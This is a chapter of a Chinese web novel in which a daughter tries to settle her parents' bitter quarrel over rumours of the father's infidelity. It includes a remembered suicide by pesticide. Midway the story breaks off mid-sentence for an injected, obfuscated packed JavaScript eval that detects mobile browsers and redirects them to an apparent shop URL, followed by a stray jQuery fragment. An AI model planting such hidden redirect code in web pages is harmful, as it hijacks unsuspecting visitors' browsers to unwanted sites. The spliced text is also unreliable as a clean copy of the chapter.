默认冷灰
24号文字
方正启体

9. 争吵

作者:身边世界本书字数:K更新时间:
    “汪汪汪——”几声狗叫从山上传来,是肖凤家的大狼狗的声音。大狼狗长得凶悍,是生了大弟肖林时和李幺娘在娘家坐月子完给带回来的,她家独一户离寨子远,又在半山腰上,很需要这样的大狗来看门护院。


    大狼狗那会儿还是小奶狗,一家人也没谁想着给取个名字,就小狗小狗的叫,一直叫习惯了就把小狗当名字了。


    现在肩高长得快到了肖得恩的胸口,六七十斤威风凛凛,一家子还是小狗小狗的叫,连大狼狗也觉得小狗是他的名字。没拴着的时候,在厨房煮大骨头叫一声小狗,它听见了就风一样就跑过来等着投喂。


    小狗的叫声打断了两妯娌的悄悄话,生怕是肖凤家上面下来人,会听见她俩在传小话,便赶紧摆摆手各自转回屋关了门。


    肖凤也担心是李幺娘见她还不归家跟了出来,要叫她听见了可不得了。还好这俩比她还利索,两家安静下来,她也不再多想,直往家赶。


    远远看见山上田坎边,那片隐约反白的天空勾勒出小狗立在田坎上英武的身姿,时不时地汪汪两声,却没有往下跑的迹象。估计是看见她了,小狗的目力那是不一般的。


    “今天你们都早早睡觉吧,别浪费电。”眼见天色不早,李幺娘早早地催孩子去睡,势必要清出个场地来和肖得恩解决恩怨。


    肖凤被小狗挤着拉开竹篱笆大门进来,就听到她老子娘这样吩咐几个弟弟妹妹。


    她知道她的打算,却也大感意外,毕竟以往他俩闹矛盾吵嘴,从来也不避着子女,甚至当着子女的面,李幺娘自认占着个弱,才好更为不依不饶。经常不是呼天抢地责怪肖得恩对不起她父母一饭之恩,就是搞起连坐大喊一家老小都对不起她。


    想着刚刚那两妯娌有鼻子有眼儿的小话,肖凤心下有些恐慌。对她老子娘来说,这次不只是抓了现形,她老子爹的态度和表现,也把他心里对跟李幺娘凑活过的感情十成十的现了形。


    肖凤想了一整天,加上刚听来的消息,深觉的这次要是闹不好,他俩离婚都有可能。


    改革春风吹了十来年了,离婚这个词不算多时髦,但在这九曲十八弯的乡旮旯,仍然是个稀奇事儿。有那拳头硬的男人用离婚来恐吓女人,却没有那挨拳头的女人敢开口说一句离婚单过。


    真有那实在过不下去的夫妻,便是喝药死了也不会去离婚。


    不说谁,便说辈分低但年纪和老幺爷差不多的肖四哥夫妇,因家境最不好,肖四哥是个讨好的和善人,跟谁都乐呵呵的,只爱说点大话,关起门来会和婆娘拌嘴。


    他这老伴年纪比他还大两岁,却在五十岁上头就喝了敌.敌.畏走了。


    四嫂不爱串门走亲戚,一个寨子里住着还是亲戚,但肖凤都没见过她几次,连面目都没什么印象,只模糊记得她佝偻在田地里的身影,和那一角红褐色的摞着补丁的头巾。


    肖凤倒是记得她清冷的葬礼上,来了一个娘家族兄。肖凤那时候才七八岁,坐她爹旁边蹭菜吃。男人们爱吹着牛喝几口酒,席面上摆的四个菜没怎么动。


    四嫂那被灌得摇头晃脑的娘家族兄,大着舌头跟一桌的肖家弟兄抱怨:“这堂妹的小女儿前头才刚办了结婚酒,大儿子给添的两个孙子都上村小了,多大的事情都过来了,眼看享福的年纪了还想不开突然去喝敌敌畏……”


    在这山路十八弯的乡里乡村,一辈子吵吵闹闹的夫妻,可能不会说一句离婚,自绝也能结束了婚姻。


    想着她老子娘那样敏感执拗的性子,肖凤有点担心,打算劝几句。她指着牛圈楼上苞米壳堆里的狗窝,拍拍围着自己摇尾巴的小狗示意它去守着牛睡觉,小狗伸着伸个舌头哈喇气不肯走。


    “嘎嘎~叽叽叽……”四下漆黑的院墙脚传来鸡鸭声,鸡鸭还没收。这些都是李幺娘的宝贝,尤其那些乌骨鸡,自己家都很少舍得吃,也很少去卖了换钱,倒是有时候肖得恩去县城开会会抓一两只带走。


    李幺娘把这些鸡鸭看得眼珠子似的,以往她一看天色不早,都会早早收回来。就是让肖凤几个去收,她也会跟过来点算,或者收完了过问几句数对不对,今天这都顾不上了。


    肖英不管小狗了,趁着肖英几个被李幺娘催着洗脚的功夫,她进了厢房,在门后口袋里铲了一升烂苞米。


    “哚哚哚~哚哚哚~”她一边抓着苞米撒在院坝里,一边诓唤着四下的鸡鸭。


    当空的半轮月亮在薄云后忽隐忽现,就着这月光,眼神还能把鸡鸭看清,飞快点数喂完,都赶回栅栏里,肖凤这才回厨房去准备倒水洗脚。


    几个小的都各自回屋上床去睡了,厨房里就剩李幺娘一个人坐在矮凳上泡脚。白炽灯悬在正中的饭桌上方,背对着灯光坐,李幺娘面目陷在阴影里。


    看见肖凤推门进来,她动了动腿,左右脚互相摩梭搓洗几下,这就打算擦干。她习惯性地朝旁边的条凳伸手,却摸了空。


    肖凤见她左右顾盼知她在找擦脚布,四下看了看,不知道是谁在她前头洗的脚,给挂在了大灶旁的条凳上。肖凤三步并作两步过去给她取了来。


    “妈,你今天也累一天了,就别跟我爸再吵起来了,我来说他。”肖凤拉开饭桌边的条凳坐下,“我不跟他吵,我就跟他论论道理。”


    刹着半新布鞋正要往外走的李幺娘听了她前头一句,本能就要制止,听完她后头的话才把到嘴边的制止收住。


    这大姑娘已经订亲了眼看就要嫁人,不用像那几个小的要避着免得没脸,叫她看着也算是在家事上先教她了。李幺娘这么一琢磨,心里又打算开了。


    但她嘴上不饶人,“什么叫我跟他吵,是我不占理吗?我还说不得他了。”


    肖凤并不是这个意思,自然要辩解,“不是说你跟他吵,但他的脾气你也知道,哪次是他先开腔,回回好像都是你先跑去数落,搞得咄咄逼人,最后你就有理都变没理。”


    “那我不开口他认错吗?还不是他更有理了!”李幺娘呛声,她自然知道每次的争吵总是这样的结果,但她就是忍不住啊,“……横竖都是他有理。”


    “那倒是吵了这些年,他哪次认错了。”肖凤叹气,“你俩这些事,我作为子女,哪有插嘴的份。”


    “那你还说今天你来和他论理?”李幺娘走回来在她对面条凳坐下,一边弯下身去提鞋跟。


    “我怕你把他惹恼了……(他要跟你离婚怎么办)”肖凤嘟囔着吞下了后面,现下她是不敢把这个可能说出来的,说了她老子娘肯定要跳脚。


    要说以往,她只觉得父母争吵令人厌烦。但现在,她自觉也看明白了几分二人之间的关系状态,她希望有她的介入,能成为他们说开讲透的契机。


    二十来年的老夫老妻了,又是打小认识的,要真说一点感情也谈不上,那是不可能的。何况这个家本身是靠他们一点一滴同甘共苦地撑起来的。


    但是肖凤觉得,同甘还得能先体谅心疼对方的苦,这样得来的甘甜才是真正的甘甜。没苦过哪知道什么是真的甜。怕的是,只有一个人甘之如饴,更怕的是,觉得对方比自己苦得少,觉得对方更轻松。


    肖得恩和李幺娘的婚姻,比起那些盲婚哑嫁结成的夫妇,不知道引来多少羡慕。原本可以说开的事情,就不要拖成一辈子的怨怼了。肖凤也不想和妹妹弟弟们煎熬在父母冷脸相对的家庭氛围里,更不想这个家散掉。


    以她老子娘的脾气,这次估计是个大坎。要是闹得她老子爹没脸,真影响了工作前途,说不定她老子爹真来个一不做二不休干脆离婚,她老子娘不得要死要活。


    但这次要让自己闷不吭声,自觉子女管不着父母,肖凤也心里不甘。她不想管那些忤逆犯上的教条,总之不讲理乱来的老人不配让人敬重。


    她老子娘或许在家里有点不讲理,对上她老子爹就疑神疑鬼的,但她又有什么错处,要忍受丈夫这样的背叛?


    何况,她不得不承认的是,私心里,她认为她老子爹是个讲理的,不是乱来的人。尤其自打和他敞开聊自己的婚姻大事后,她不信自己的父亲真会是这样龌龊的人。


    *


    肖凤洗完脚倒掉水,跟她老子娘相对无言地坐了没几分钟,她老子爹在小狗的汪汪吠叫中回来了。听见他给院门落锁,娘俩都没开口。


    肖得恩爬上田坎,就见厨房的电灯开着,照得山尖上的篱笆缝隙透亮。想到路过的茅草屋,多是煤油灯照得影影幢幢,从窗户透出明明灭灭的微光,跟自己家完全没得比。他心里自然而然地升起一股成就感,内心深处的愧疚又挥散了几分。


    他挺直腰杆推门进厨房,不意外李幺娘会等在饭桌边,但意外肖凤也在,而且正看着他。比起李幺娘盯着靠墙的碗柜不给眼神的样子,大女儿显然是心知肚明还有话要说。


    肖得恩内心里刚压下的几分愧疚又冒了出来,这个女儿没那么好糊弄。他不得不打点起精神来。


    “爸。”肖凤终究先开了口,“你今天怎么这么晚?”


    “仓库检修。”他隐去了因为闹剧安抚吴会计的事情,简单应答,随即便去拿门后的大红胶盆,放水缸旁边地上,舀了半瓢水倒进去。


    肖凤见她老子娘这次挺沉得住气,一点没有要抢白的意思,连看都没看过来一眼,她老子爹又是打太极推磨的应付,直叹还得自己来撕捋开来。


    她起身去灶台上提开大铁壶,肖得恩便拎走去往脚盆里兑水准备泡脚。


    “还没吃饭吧,给你热点菜饭?”肖凤随口说着,就捅开煤火,取下墙上挂着的小瓢锅架上去,听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311315|198861||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得他嗯一声。


    肖凤自顾往锅里打了两勺酸菜豆米汤,又挖了一小勺猪油进去,再舀三勺玉米掺大米蒸的冷饭,等火气上来菜汤慢慢烧开。


    “今天的事情,寨上都知道了。”肖凤拿着铁勺摁压拍散冷硬结块的饭团,“爸这事到底是怎么回事?”


    李幺娘冷哼一声,倒是没说话。肖得恩拿出上衣口袋里的阿诗玛,抽出一根点上,兀自抽了一口。


    肖凤等他吐了一口烟,也还是不说话不吭声,切身体会到了几分李幺娘和他吵架吵不起来的烦躁。


    但她终究不是她老子娘,不会因为沉沦感情就轻易气得自乱阵脚,“我只是个做子女的,本来没什么立场说道你们二老的感情问题。但是这个事情,我妈说的是她看到的,是一个样,别人说的,是别人看到或者听到的,又是另一个样。我信我的父母,所以我也不想在你还没说明白的时候,就相信其他人说的。”


    肖凤不想浪费功夫,翻了两下咕嘟咕嘟冒泡的菜饭,边说,“你不说明白,我妈不说明白,我们子女不知道是怎么回事,难免你们有一方冤枉委屈。你说吧,到底怎么回事?你说我就信。”


    又等了会儿,肖得恩还是兀自有一口没一口的抽烟,还是没想开口的样子。


    李幺娘先耐不住了,撇了肖得恩一眼,“还要听他解释什么?他这就是默认了,维护那个骚.货——”


    肖得恩猛地瞪向她,教她顿住了话头,又低头去抽他的烟。


    肖凤只觉得脑壳开始痛了。以往他俩要吵起来,李幺娘喋喋不休越来越大声,肖得恩越沉默,她就会越来越耳鸣头痛。


    “今天在粮站里就是这样,我还没把那个女的怎么样,他就慌忙帮上人家了!要不是他……”李幺娘自知在孩子跟前说脏话没理,但也没停顿几息,愤然数落。


    “妈,你让我先说。”肖凤打断她,把热好饭菜的小瓢锅端道饭桌上,看向肖得恩,“爸,我觉得你是个讲道理明事理的人,希望你不要让我,让妹妹弟弟们,都因为这个事情,对你失去了敬重之心。”


    她顿了顿,细看肖得恩神色有松开的迹象,“你不说明白,明天寨上就不知道要传成什么样了,那些话有多难听,我给你说不出口。但你要是不解释,我,还有妹妹弟弟们,也会把你的默不作声当成默认,把别人说的当真。”


    肖得恩又吐了口烟,这才慢吞吞说了句,“这事儿和你们孩子无关,你们也别瞎听瞎信。我们大人自己会处理。”


    “我都要谈婚论嫁了,也别拿我当小娃娃。”他好容易开口说的却是废话。


    肖凤一点也不满意,“你不说,那我们就认为这事人家怎么说就是怎么真。如果是真的,这事儿,你做得太不对了,不仅是对不起我妈,也对不起你自己的道德良心。你以后在这肖家寨,在这乐安乡,怎么站得住脚?”


    李幺娘见她说得还算得心,便也不冲上去了,但对肖得恩还是气难消,换了条腿翘着,微歪着头扬起下巴又去看那烟气飘忽盘旋的山尖。


    肖得恩泡脚水凉透了,就开始擦脚,他没去拿干净的布鞋来,今天也没人去给他拿,他便直接刹在了脱下的布鞋上。


    肖凤受不了他这龟缩的样子,只好加把火,“爷爷奶奶从你很小就不在了,你吃了多少苦头才长大,打不退骂不倒。你经常给我们讲党的好,新中国新社会才让你有机会读书翻身,还凭本事端上了铁饭碗,难道你就这么堕落了,成了你的斗争对象吗?”


    “你一个姑娘家懂什么?”肖得恩立即斥道,并警告地睇肖凤一眼,端了水盆出去泼,任门开着没带。


    这种老封建大家长的话,肖得恩轻易不会直斥,哪怕他心里就是这么想的。但这个时候他必须拿出这个最严厉的态度出来。肖得恩这辈子最骄傲的就是他的勤奋成果,容不得别人质疑挑战。


    肖凤被他看得瑟缩了下,她心里不认可他的斥责,但她知道和他没法讲这个道理,她也不知道怎么去讲。只眼下这事儿就是他这个当爹的不占理,她不会退缩。


    要不说她是肖得恩的女儿呢。以往她也是那龟缩性子,父母吵架她不会掺和一点,而现在她决定掺和了,也和肖得恩是一样的执拗性子,不撕捋明白不松口。


    肖凤坐到李幺娘旁侧的条凳上,等着肖得恩倒水回来。刚刚这把火是加得有点大了,但显然也是加对了。不是这把火,恐怕不能叫他多说几句话。


    她预感他倒水回来多少也要说几句的,哪怕他不高兴。


    过了会儿,出去倒了半晌水的肖得恩终于回来,看这娘俩两尊神佛一样一动不动,平复下去的心情又隐隐浮躁起来。


    大弟肖林听到动静,也摸了过来,木着张脸杵在厨房门口,也不进来,也不走,也不问。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)